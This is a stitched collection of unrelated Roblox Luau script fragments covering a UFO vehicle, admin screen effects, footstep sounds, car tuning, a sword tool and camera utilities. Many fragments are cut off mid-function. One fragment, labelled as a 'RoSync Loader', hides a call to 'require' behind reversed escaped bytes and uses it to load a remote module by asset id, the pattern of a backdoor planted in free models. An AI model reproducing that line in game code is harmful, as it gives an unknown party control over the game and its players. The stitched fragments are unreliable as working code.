end
TemporaryBeam = Beam:Clone()
TemporaryBeam.Parent = Model
Spawn(function()
while TemporaryBeam and TemporaryBeam.Parent do
local Torsos = GetPartsInBeam(TemporaryBeam)
for i, v in pairs(Torsos) do
if v.Humanoid and v.Humanoid.Parent and v.Humanoid.Health > 0 and v.Torso and v.Torso.Parent and not v.Torso:FindFirstChild("UFOPullForce") and not v.Torso:FindFirstChild("UFOBalanceForce") then
local UFOPullForce = Instance.new("BodyVelocity")
UFOPullForce.Name = "UFOPullForce"
UFOPullForce.maxForce = Vector3.new(0, 1000000, 0)
UFOPullForce.velocity = CFrame.new(v.Torso.Position, BeamPart.Position).lookVector * 25
Debris:AddItem(UFOPullForce, 0.25)
UFOPullForce.Parent = v.Torso
local UFOBalanceForce = Instance.new("BodyGyro")
UFOBalanceForce.Name = "UFOBalanceForce"
UFOBalanceForce.maxTorque = Vector3.new(1000000, 0, 1000000)
Debris:AddItem(UFOBalanceForce, 0.25)
UFOBalanceForce.Parent = v.Torso
end
end
wait()
end
end)
local BeamWeld = Instance.new("Weld")
BeamWeld.Part0 = BeamPart
BeamWeld.Part1 = TemporaryBeam
Spawn(function()
Sounds.Beam:Play()
while Enabled and BeamActive and TemporaryBeam and TemporaryBeam.Parent do
local IgnoreTable = {Model}
for i, v in pairs(Players:GetChildren()) do
if v:IsA("Player") and v.Character then
table.insert(IgnoreTable, v.Character)
end
end
local BeamPartClone = BeamPart:Clone()
local BeamPartCloneY = BeamPartClone:Clone()
BeamPartCloneY.CFrame = BeamPartCloneY.CFrame * CFrame.Angles(-math.rad(90), 0, 0)
BeamPartCloneY.CFrame = BeamPartCloneY.CFrame - BeamPartCloneY.CFrame.lookVector * ((BeamPart.Size.Y / 2))
local Hit, Position = RayCast(BeamPart.Position, BeamPartCloneY.CFrame.lookVector, BeamSize, IgnoreTable)
CurrentBeamSize = ((BeamPart.Position - Position).magnitude * 5)
TemporaryBeam.Mesh.Scale = Vector3.new(1, CurrentBeamSize, 1)
BeamWeld.Parent = TemporaryBeam
BeamWeld.C0 = CFrame.new(0, 0, 0) - Vector3.new(0, ((CurrentBeamSize / 2) + (BeamPart.Size.Y / 2)) / 5 , 0)
wait()
end
BeamActive = false
Sounds.Beam:Stop()
if TemporaryBeam and TemporaryBeam.Parent then
TemporaryBeam:Destroy()
end
end)
end
elseif Action == "Button1Up" then
BeamActive = false
end
end
end)
function ManageMotionStep(ForceLift, CoordinateFrame)
local CameraForwards = -CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 0, 1))
local CameraSideways = -CoordinateFrame:vectorToWorldSpace(Vector3.new(1, 0, 0))
local CameraRotation = -CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 1, 0))
CameraForwards = CameraForwards * Vector3.new(1, 0, 1)
CameraSideways = CameraSideways * Vector3.new(1, 0, 1)
if CameraForwards:Dot(CameraForwards) < 0.1 or CameraSideways:Dot(CameraSideways) < 0.1 then
return
end
CameraForwards = CameraForwards.unit
CameraSideways = CameraSideways.unit
if math.abs(Velocity.X) < 2 and math.abs(Velocity.Z) < 2 then
BodyVelocity.velocity = Vector3.new(0, 0, 0)
else
BodyVelocity.velocity = Velocity
end
BodyGyro.cframe = CFrame.new(0, 0, 0) * CFrame.Angles(Velocity:Dot(Vector3.new(0, 0, 1)) * (math.pi / 320), 0, math.pi - Velocity:Dot(Vector3.new(1, 0, 0)) * (math.pi / 320))
if Controls.Forward.Mode and (not Controls.Backward.Mode) and Velocity:Dot(CameraForwards) < MaxVelocity then
Velocity = Velocity + Acceleration * CameraForwards
elseif Controls.Backward.Mode and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) > MinVelocity then
Velocity = Velocity - Deceleration * CameraForwards
elseif (not Controls.Backward.Mode) and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) > 0 then
Velocity = Velocity - AutoDeceleration * CameraForwards
elseif (not Controls.Backward.Mode) and (not Controls.Forward.Mode) and Velocity:Dot(CameraForwards) < 0 then
Velocity = Velocity + AutoDeceleration * CameraForwards
end
if Controls.Left.Mode and (not Controls.Right.Mode) and Velocity:Dot(CameraSideways) < MaxSideVelocity then
Velocity = Velocity + SideAcceleration * CameraSideways
elseif Controls.Right.Mode and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) > MinSideVelocity then
Velocity = Velocity - SideDeceleration * CameraSideways
elseif (not Controls.Right.Mode) and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) > 0 then
Velocity = Velocity - AutoSideDeceleration * CameraSideways
elseif (not Controls.Right.Mode) and (not Controls.Left.Mode) and Velocity:Dot(CameraSideways) < 0 then
Velocity = Velocity + AutoSideDeceleration * CameraSideways
end
if ForceLift then
RiseVelocity.velocity = Vector3.new(0, LiftOffSpeed, 0)
else
if Controls.Up.Mode and (not Controls.Down.Mode) then
RiseVelocity.velocity = Vector3.new(0, LiftSpeed, 0)
BodyPosition.maxForce = Vector3.new(0, 0, 0)
elseif Controls.Down.Mode and (not Controls.Up.Mode) then
RiseVelocity.velocity = Vector3.new(0, LowerSpeed, 0)
BodyPosition.maxForce = Vector3.new(0, 0, 0)
end
end
end
function MotionManager()
Spawn(function()
TakingOff = true
RiseVelocity.maxForce = Vector3.new(0, 1000000, 0)
local StartTime = tick()
Sounds.TakingOff:Play()
while Enabled and PlayerConnection and (tick() - StartTime) < 3 do
local CoordinateFrame = PlayerConnection:InvokeClient(PlayerUsing, "CoordinateFrame")
ManageMotionStep(true, CoordinateFrame)
wait()
end
TakingOff = false
Sounds.TakingOff:Stop()
while PlayerConnection and (Enabled or Velocity:Dot(Velocity) > 0.5) do
local CoordinateFrame = PlayerConnection:InvokeClient(PlayerUsing, "CoordinateFrame")
ManageMotionStep(false, CoordinateFrame)
wait()
end
end)
end
function LiftOff()
BodyGyro.maxTorque = Vector3.new(1000000, 1000000, 1000000)
BodyVelocity.maxForce = Vector3.new(1000000, 0, 1000000)
Velocity = Vector3.new(0, 0, 0)
Enabled = true
MotionManager()
end
function Equipped(Player)
local Backpack = Player:FindFirstChild("Backpack")
if Backpack then
InUse = true
PlayerUsing = Player
PlayerControlScript = ControlScript:Clone()
local RemoteController = Instance.new("ObjectValue")
RemoteController.Name = "RemoteController"
RemoteController.Value = RemoteConnection
RemoteController.Parent = PlayerControlScript
local VehicleSeat = Instance.new("ObjectValue")
VehicleSeat.Name = "VehicleSeat"
VehicleSeat.Value = Seat
VehicleSeat.Parent = PlayerControlScript
PlayerConnection = Instance.new("RemoteFunction")
PlayerConnection.Name = "PlayerConnection"
PlayerConnection.Parent = PlayerControlScript
PlayerControlScript.Disabled = false
PlayerControlScript.Parent = Backpack
LiftOff()
end
end
function Unequipped()
if PlayerControlScript and PlayerControlScript.Parent then
PlayerControlScript:Destroy()
end
Enabled = false
PlayerControlScript = nil
PlayerUsing = nil
PlayerConnection = nil
BeamActive = false
TakingOff = false
InUse = false
BodyGyro.maxTorque = Vector3.new(0, 0, 0)
BodyPosition.maxForce = Vector3.new(0, 0, 0)
BodyVelocity.maxForce = Vector3.new(0, 0, 0)
BodyVelocity.velocity = Vector3.new(0, 0, 0)
RiseVelocity.maxForce = Vector3.new(0, 0, 0)
RiseVelocity.velocity = Vector3.new(0, 0, 0)
for i, v in pairs(Controls) do
v.Mode = false
end
end
function Flip()
local EngineCloneY = Engine:Clone()
EngineCloneY.CFrame = EngineCloneY.CFrame * CFrame.Angles(-math.rad(90), 0, 0)
if EngineCloneY.CFrame.lookVector.Y < 0.707 then
FlipGyro.cframe = CFrame.new(Vector3.new(0, 0, 0), Vector3.new(0, 1, 0)) * CFrame.Angles((-math.pi / 2), 0, 0)
FlipGyro.maxTorque = Vector3.new(FlipForce, FlipForce, FlipForce)
wait(2)
FlipGyro.maxTorque = Vector3.new(0,0,0)
end
end
Seat.ChildAdded:connect(function(Child)
if Child:IsA("Weld") and Child.Name == "SeatWeld" then
if Child.Part0 and Child.Part0 == Seat and Child.Part1 and Child.Part1.Parent then
local Player = Players:GetPlayerFromCharacter(Child.Part1.Parent)
if Player then
Equipped(Player)
end
end
end
end)
Seat.ChildRemoved:connect(function(Child)
if Child:IsA("Weld") and Child.Name == "SeatWeld" then
if Child.Part0 and Child.Part0 == Seat and Child.Part1 and Child.Part1.Parent then
local Player = Players:GetPlayerFromCharacter(Child.Part1.Parent)
if Player and Player == PlayerUsing then
Unequipped(Player)
end
end
end
end)
Spawn(function()
while true do
Flip()
wait(5)
end
end)
|
--stop sound |
function module.Stop(humrp, sound)
local sound = humrp[sound]
sound:Stop()
end
return module
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed using client.Functions.GetRandom() |
return function(data)
local gui = service.New("ScreenGui")
local mode = data.Mode
local gTable = client.UI.Register(gui, {Name = "Effect"})
local BindEvent = gTable.BindEvent
client.UI.Remove("Effect", gui)
gTable:Ready()
if mode == "Off" or not mode then
gTable:Destroy()
elseif mode == "Pixelize" then
local frame = Instance.new("Frame")
frame.Parent = gui
local camera = workspace.CurrentCamera
local pixels = {}
local resY = data.Resolution or 20
local resX = data.Resolution or 20
local depth = 0
local distance = data.Distance or 80
local function renderScreen()
for i,pixel in pairs(pixels) do
local ray = camera:ScreenPointToRay(pixel.X,pixel.Y,depth)
local result = workspace:Raycast(ray.Origin, ray.Direction * distance)
local part, endPoint = result.Instance, result.Position
if part and part.Transparency < 1 then
pixel.Pixel.BackgroundColor3 = part.BrickColor.Color
else
pixel.Pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)
end
end
end
frame.Size = UDim2.new(1,0,1,40)
frame.Position = UDim2.new(0,0,0,-35)
for y = 0,gui.AbsoluteSize.Y+50,resY do
for x = 0,gui.AbsoluteSize.X+30,resX do
local pixel = Instance.new("TextLabel")
pixel.Text = ""
pixel.BorderSizePixel = 0
pixel.Size = UDim2.new(0,resX,0,resY)
pixel.Position = UDim2.new(0,x-(resX/2),0,y-(resY/2))
pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)
pixel.Parent = frame
table.insert(pixels,{Pixel = pixel,X = x, Y = y})
end
end
while wait() and not gTable.Destroyed and gui.Parent do
if not gTable.Destroyed and not gTable.Active then
wait(5)
else
renderScreen()
end
end
gTable:Destroy()
elseif mode == "FadeOut" then
service.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
service.UserInputService.MouseIconEnabled = false
for i,v in pairs(service.PlayerGui:GetChildren()) do
pcall(function() if v~=gui then v:Destroy() end end)
end
local blur = service.New("BlurEffect", {
Name = "Adonis_FadeOut_Blur";
Parent = service.Lighting;
Size = 0;
})
local bg = service.New("Frame", {
Parent = gui;
BackgroundTransparency = 1;
BackgroundColor3 = Color3.new(0,0,0);
Size = UDim2.new(2,0,2,0);
Position = UDim2.new(-0.5,0,-0.5,0);
})
for i = 1,0,-0.01 do
bg.BackgroundTransparency = i
blur.Size = 56 * (1 - i);
wait(0.1)
end
bg.BackgroundTransparency = 0
elseif mode == "Trippy" then
local v = service.Player
local bg = Instance.new("Frame")
bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0
bg.Size = UDim2.new(10,0,10,0)
bg.Position = UDim2.new(-5,0,-5,0)
bg.ZIndex = 10
bg.Parent = gui
while gui and gui.Parent do
wait(1/44)
bg.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
end
if gui then gui:Destroy() end
elseif mode == "Spooky" then
local frame = Instance.new("Frame")
frame.BackgroundColor3=Color3.new(0,0,0)
frame.Size=UDim2.new(1,0,1,50)
frame.Position=UDim2.new(0,0,0,-50)
frame.Parent = gui
local img = Instance.new("ImageLabel")
img.Position = UDim2.new(0,0,0,0)
img.Size = UDim2.new(1,0,1,0)
img.BorderSizePixel = 0
img.BackgroundColor3 = Color3.new(0,0,0)
img.Parent = frame
local textures = {
299735022;
299735054;
299735082;
299735103;
299735133;
299735156;
299735177;
299735198;
299735219;
299735245;
299735269;
299735289;
299735304;
299735320;
299735332;
299735361;
299735379;
}
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://174270407"
sound.Looped = true
sound.Parent = gui
sound:Play()
while gui and gui.Parent do
for i=1,#textures do
img.Image = "rbxassetid://"..textures[i]
wait(0.1)
end
end
sound:Stop()
elseif mode == "lifeoftheparty" then
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.new(0,0,0)
frame.Size = UDim2.new(1,0,1,50)
frame.Position = UDim2.new(0,0,0,-50)
frame.Parent = gui
local img = Instance.new("ImageLabel")
img.Position = UDim2.new(0,0,0,0)
img.Size = UDim2.new(1,0,1,0)
img.BorderSizePixel = 0
img.BackgroundColor3 = Color3.new(0,0,0)
img.Parent = frame
local textures = {
299733203;
299733248;
299733284;
299733309;
299733355;
299733386;
299733404;
299733425;
299733472;
299733489;
299733501;
299733523;
299733544;
299733551;
299733564;
299733570;
299733581;
299733597;
299733609;
299733621;
299733632;
299733640;
299733648;
299733663;
299733674;
299733694;
}
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://172906410"
sound.Looped = true
sound.Parent = gui
sound:Play()
while gui and gui.Parent do
for i=1,#textures do
img.Image = "rbxassetid://"..textures[i]
wait(0.1)
end
end
sound:Stop()
elseif mode == "trolling" then
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.new(0,0,0)
frame.Size = UDim2.new(1,0,1,50)
frame.Position = UDim2.new(0,0,0,-50)
frame.Parent = gui
local img = Instance.new("ImageLabel")
img.Position = UDim2.new(0,0,0,0)
img.Size = UDim2.new(1,0,1,0)
img.BorderSizePixel = 0
img.BackgroundColor3 = Color3.new(0,0,0)
img.Parent = frame
local textures = {
"6172043688";
"6172044478";
"6172045193";
"6172045797";
"6172046490";
"6172047172";
"6172047947";
"6172048674";
"6172050195";
"6172050892";
"6172051669";
"6172053085";
"6172054752";
"6172054752";
"6172053085";
"6172051669";
"6172050892";
"6172050195";
"6172048674";
"6172047947";
"6172047172";
"6172046490";
"6172045797";
"6172045193";
"6172044478";
"6172043688";
}
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://229681899"
sound.Looped = true
sound.Parent = gui
sound:Play()
while gui and gui.Parent do
for i=1,#textures do
img.Image = "rbxassetid://"..textures[i]
wait(0.13)
end
end
sound:Stop()
elseif mode == "Strobe" then
local bg = Instance.new("Frame")
bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0
bg.Size = UDim2.new(10,0,10,0)
bg.Position = UDim2.new(-5,0,-5,0)
bg.ZIndex = 10
bg.Parent = gui
while gui and gui.Parent do
wait(1/44)
bg.BackgroundColor3 = Color3.new(1,1,1)
wait(1/44)
bg.BackgroundColor3 = Color3.new(0,0,0)
end
if gui then gui:Destroy() end
elseif mode == "Blind" then
local bg = Instance.new("Frame")
bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0
bg.Size = UDim2.new(10,0,10,0)
bg.Position = UDim2.new(-5,0,-5,0)
bg.ZIndex = 10
bg.Parent = gui
elseif mode == "ScreenImage" then
local bg = Instance.new("ImageLabel")
bg.Image="rbxassetid://"..data.Image
bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0
bg.Size = UDim2.new(1,0,1,0)
bg.Position = UDim2.new(0,0,0,0)
bg.ZIndex = 10
bg.Parent = gui
elseif mode == "ScreenVideo" then
local bg = Instance.new("VideoFrame")
bg.Video="rbxassetid://"..data.Video
bg.BackgroundColor3 = Color3.new(0,0,0)
bg.BackgroundTransparency = 0
bg.Size = UDim2.new(1,0,1,0)
bg.Position = UDim2.new(0,0,0,0)
bg.ZIndex = 10
bg.Parent = gui
bg:Play()
end
end
|
-- |
Humanoid.Changed:Connect(function()
if Enum.Material[Humanoid.FloorMaterial.Name] then
script.Parent.CurrentMaterial.Value = Humanoid.FloorMaterial.Name
else
script.Parent.CurrentMaterial.Value = DefaultSound
end
end)
function TurnOffSounds()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
v.Playing = false
end
end
end
function MakeSound()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
if v.Name ~= script.Parent.CurrentMaterial.Value then
v.Playing = false
else
if script.Parent.CurrentMaterial.Value == 'Air' and ToggleAirSound == true then
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 12
else
if v.Name ~= 'Air' then
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 12
end
end
end
end
end
end
function MakeDefaultSound()
for i,v in pairs(script.Parent:GetChildren()) do
if v.ClassName == "Sound" then
if v.Name ~= DefaultSound then
v.Playing = false
else
v.Playing = true
v.PlaybackSpeed = Humanoid.WalkSpeed / 12
end
end
end
end
while wait(1/10) do
local Moving = Humanoid.MoveDirection ~= Vector3.new(0,0,0)
if Moving then
if script.Parent:FindFirstChild(script.Parent.CurrentMaterial.Value) and script.Parent.CurrentMaterial.Value ~= nil then
MakeSound()
else
MakeDefaultSound()
end
else
TurnOffSounds()
end
end
|
--EDIT BELOW---------------------------------------------------------------------- |
settings.PianoSoundRange = 60
settings.KeyAesthetics = true
settings.PianoSounds = {
"269058581",
"269058744",
"269058842",
"269058899",
"269058974",
"269059048"
} |
-- check if the player is moving and not climbing |
humanoid.Running:Connect(function(speed)
if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then
if oldWalkSpeed ~= humanoid.WalkSpeed then
getSoundProperties()
update()
end
currentSound.Playing = true
currentSound.Looped = true
else
currentSound:Stop()
end
end)
spawn(function()
while task.wait() do
if serverSound.Volume > 0 then
serverSound.Volume = 0
end
end
end)
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.6 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.460 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 5.00 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 3.20 ,
--[[ 3 ]] 2.14 ,
--[[ 4 ]] 1.72 ,
--[[ 5 ]] 1.31 ,
--[[ 6 ]] 1.00 ,
--[[ 7 ]] 0.82 ,
--[[ 8 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- -1 = Closed
-- 0 = Active
-- 1 = Open |
function getItems()
for _,v in pairs(script.Parent:GetChildren()) do
if ((v:IsA("BasePart")) and (v.Name == "Bar")) then
table.insert(_items,v)
end
end
end
function main()
local d = door
door = 0
script.Parent.Button.BrickColor = BrickColor.new("New Yeller")
for i = 0,5,0.05 do
for _,v in pairs(_items) do
v.CFrame = v.CFrame * CFrame.new((0.05*(-d)),0,0)
end
wait()
end
if (d == (-1)) then
script.Parent.Button.BrickColor = BrickColor.new("Really red")
elseif (d == 1) then
script.Parent.Button.BrickColor = BrickColor.new("Bright green")
end
door = d
end
script.Parent.Button.Click.MouseClick:connect(function()
if (door == 0) then return end
door = (door*(-1))
main()
end)
getItems()
|
--Copy public stuff |
script.AdminPanelPublic:Clone().Parent = game.ReplicatedStorage
script.BroadcastReceiver:Clone().Parent = game.StarterPlayer.StarterPlayerScripts
wait()
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values |
function BaseCamera:SetCameraMovementMode( cameraMovementMode )
self.cameraMovementMode = cameraMovementMode
end
function BaseCamera:GetCameraMovementMode()
return self.cameraMovementMode
end
function BaseCamera:SetIsMouseLocked(mouseLocked)
self.inMouseLockedMode = mouseLocked
self:UpdateMouseBehavior()
end
function BaseCamera:GetIsMouseLocked()
return self.inMouseLockedMode
end
function _G.UpdateAimed(p165)
BaseCamera:SetIsMouseLocked(p165)
end
function BaseCamera:SetMouseLockOffset(offsetVector)
self.mouseLockOffset = offsetVector
end
function BaseCamera:GetMouseLockOffset()
return self.mouseLockOffset
end
function BaseCamera:InFirstPerson()
return self.inFirstPerson
end
function BaseCamera:EnterFirstPerson()
-- Overridden in ClassicCamera, the only module which supports FirstPerson
end
function BaseCamera:LeaveFirstPerson()
-- Overridden in ClassicCamera, the only module which supports FirstPerson
end
|
--Show Accessory |
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Accessory") then
v.Handle.Transparency=0
end
end
end
end
end) |
-- regeneration |
function regenHealth()
if regening then return end
regening = true
while Humanoid.Health < Humanoid.MaxHealth do
local s = wait(1)
local health = Humanoid.Health
if health > 0 and health < Humanoid.MaxHealth then
local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
health = health + newHealthDelta
Humanoid.Health = math.min(health,Humanoid.MaxHealth)
end
end
if Humanoid.Health > Humanoid.MaxHealth then
Humanoid.Health = Humanoid.MaxHealth
end
regening = false
end
Humanoid.HealthChanged:connect(regenHealth)
|
--[[ Last synced 7/20/2021 11:54 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- posX=0.15 |
frmPosY=wnd.AbsoluteSize.Y/2 -- - sizeY/2
me.Position=UDim2.new(me.Position.X.Scale,me.Position.X.Offset,0,frmPosY)
|
----------------------------------- |
ba=Instance.new("Part")
ba.CastShadow = false
ba.TopSurface=0
ba.BottomSurface=0
ba.Anchored=false
ba.CanCollide=false
ba.formFactor="Custom"
ba.Size=Vector3.new(1,0.1,1)
ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0)
ba.Name="Effect"
ba.BrickColor=BrickColor.new "White"
ao=script.RingMesh:clone()
ao.Parent = ba
local fade = script.RingFade:Clone()
fade.Parent = ba
fade.Disabled = false
ba.Parent=script.Parent
fo=Instance.new("BodyPosition")
fo.maxForce= Vector3.new (99999999999999999,99999999999999999,99999999999999999)
fo.position = ba.Position
fo.Parent = ba
aa=Instance.new("BodyAngularVelocity")
aa.P=3000
aa.maxTorque=aa.maxTorque*30
aa.angularvelocity=Vector3.new(math.random(-70,70)/3,math.random(-70,70)/3,math.random(-70,70)/5)*100
aa.Parent=ba
script.Parent.effect.Disabled = false |
--This module creates the button prompts over seats and allows players to get in/out
--A copy of this module will be put into ReplicatedStorage when the game runs
--This combined with VehicleSeatingScript allows the button prompts to be made locally
--Which looks nicer and saves server resources | |
-- Keyboard
-- Stephen Leitnick
-- October 10, 2021 |
local Trove = require(script.Parent.Parent.Trove)
local Signal = require(script.Parent.Parent.Signal)
local UserInputService = game:GetService("UserInputService")
|
------------------------------------ |
function RandomP()
local xRand = math.random(-20,20)
local zRand = math.random(-20,20)
local goal = torso.Position + Vector3.new(xRand,0,zRand)
local path = PFS:CreatePath()
path:ComputeAsync(torso.Position, goal)
local waypoints = path:GetWaypoints() |
--//Transmission//-- |
AmountOfGears = 6 --{Max of 8 gears}
TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT}
Drivetrain = "RWD" --{RWD, FWD, AWD}
TorqueSplit = 30 --{Split to the rear wheels}
DifferentialF = 0 --{0 = Open, 1 = locked}
DifferentialR = 0.6 --{0 = Open, 1 = locked}
Gear1 = 4.60
Gear2 = 2.72
Gear3 = 1.86
Gear4 = 1.46
Gear5 = 1.23
Gear6 = 1.00
Gear7 = 0.82
Gear8 = 0.69
FinalDrive = 2.937
EngineIdle = 600
EngineRedline = 6800
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
black= BrickColor.new("Really black")
BaseUrl = "http://www.roblox.com/asset/?id="
LastAttack = 0
Lunging = false
Grips = {
Up = CFrame.new(0, -2.3, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
Out = CFrame.new(0, -2.3, 0, 1, 0, 0, 0, 0, -1, -0, 1, 0),
}
Sounds = {
Unsheath = Handle:WaitForChild("Unsheath"),
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
}
BasePart = Create("Part"){
Material = Enum.Material.Plastic,
Shape = Enum.PartType.Block,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
FormFactor = Enum.FormFactor.Custom,
Size = Vector3.new(0.2, 0.2, 0.2),
CanCollide = true,
Locked = true,
}
SoulFire = Create("Fire"){
Name = "Fire",
Color = Color3.new((255 / 255), (0 / 255), (0 / 255)),
SecondaryColor = Color3.new((85 / 255), (0 / 255), (0 / 255)),
Heat = 18,
Size = 2.5,
Enabled = true,
}
SoulLight = Create("PointLight"){
Name = "Light",
Color = SoulFire.Color,
Brightness = 35,
Range = 4,
Shadows = false,
Enabled = true,
}
Gravity = 196.20
SwordDamage = 25
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
local myteam = Player1.TeamColor
local theirteam = Player2.TeamColor
return not (myteam ~= theirteam or (myteam == black and theirteam == black))
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Part, Damage)
local PartTouched
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() then
return
end
local RightArm = Character:FindFirstChild("Right Arm")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
local HealthAfter = (humanoid.Health - Damage)
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
Spawn(function()
humanoid.WalkSpeed = 9
wait(1.25)
humanoid.WalkSpeed = 16
end)
end)
return PartTouched
end
function CreateTrail(Damage, TrailRate)
local TrailLoop
local Count = Create("IntValue"){
Value = 0,
}
local Enabled = Create("BoolValue"){
Value = true,
}
Spawn(function()
while Enabled.Value and ToolEquipped and CheckIfAlive() do
local TrailPart = Handle:Clone()
TrailPart.Name = "Effect"
TrailPart.CanCollide = false
TrailPart.Anchored = true
Blow(TrailPart, 5)
Count.Value = (Count.Value + 1)
Debris:AddItem(TrailPart, 1)
TrailPart.Parent = game:GetService("Workspace")
TrailPart.CFrame = Handle.CFrame
wait(TrailRate)
end
end)
return {Connection = TrailLoop, Count = Count, Enabled = Enabled}
end
function Lunge()
Lunging = true
local Target = InvokeClient("MousePosition")
if not Target then
return
end
local TargetPosition = Target.Position
local Direction = (CFrame.new(Torso.Position, TargetPosition).lookVector * Vector3.new(1, 0, 1))
Tool.Grip = Grips.Out
Sounds.Lunge:Play()
local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Lunge",
Parent = Tool,
}
if Direction.Magnitude > .01 then
Direction = Direction.Unit
local NewBV = Create("BodyVelocity"){
P = 100000,
maxForce = Vector3.new(100000, 0, 100000),
velocity = (Direction * 50),
}
Debris:AddItem(NewBV, 0.75)
NewBV.Parent = Torso
Torso.CFrame = CFrame.new(Torso.Position, (TargetPosition * Vector3.new(1, 0, 1) + Vector3.new(0, Torso.Position.Y, 0)))
end
Spawn(function()
local LungeTrail = CreateTrail(5, 0.08)
while Lunging and CheckIfAlive() and ToolEquipped do
RunService.Stepped:wait()
end
LungeTrail.Enabled.Value = false
end)
wait(0.75)
Lunging = false
Tool.Grip = Grips.Up
wait(0.5)
end
function Attack()
Tool.Grip = Grips.Up
Sounds.Slash:Play()
local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
Parent = Tool,
}
Spawn(function()
local AttackTrail = CreateTrail(5, 0.06)
while AttackTrail.Count.Value < 4 and CheckIfAlive() and ToolEquipped do
RunService.Stepped:wait()
end
AttackTrail.Enabled.Value = false
end)
Tool.Grip = Grips.Up
end |
--////////////////////////////////////////////////////////////////////////////////////////////
--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff
--//////////////////////////////////////////////////////////////////////////////////////////// |
local Util = {}
do
function Util.Signal()
local sig = {}
local mSignaler = Instance.new('BindableEvent')
local mArgData = nil
local mArgDataCount = nil
function sig:fire(...)
mArgData = {...}
mArgDataCount = select('#', ...)
mSignaler:Fire()
end
function sig:connect(f)
if not f then error("connect(nil)", 2) end
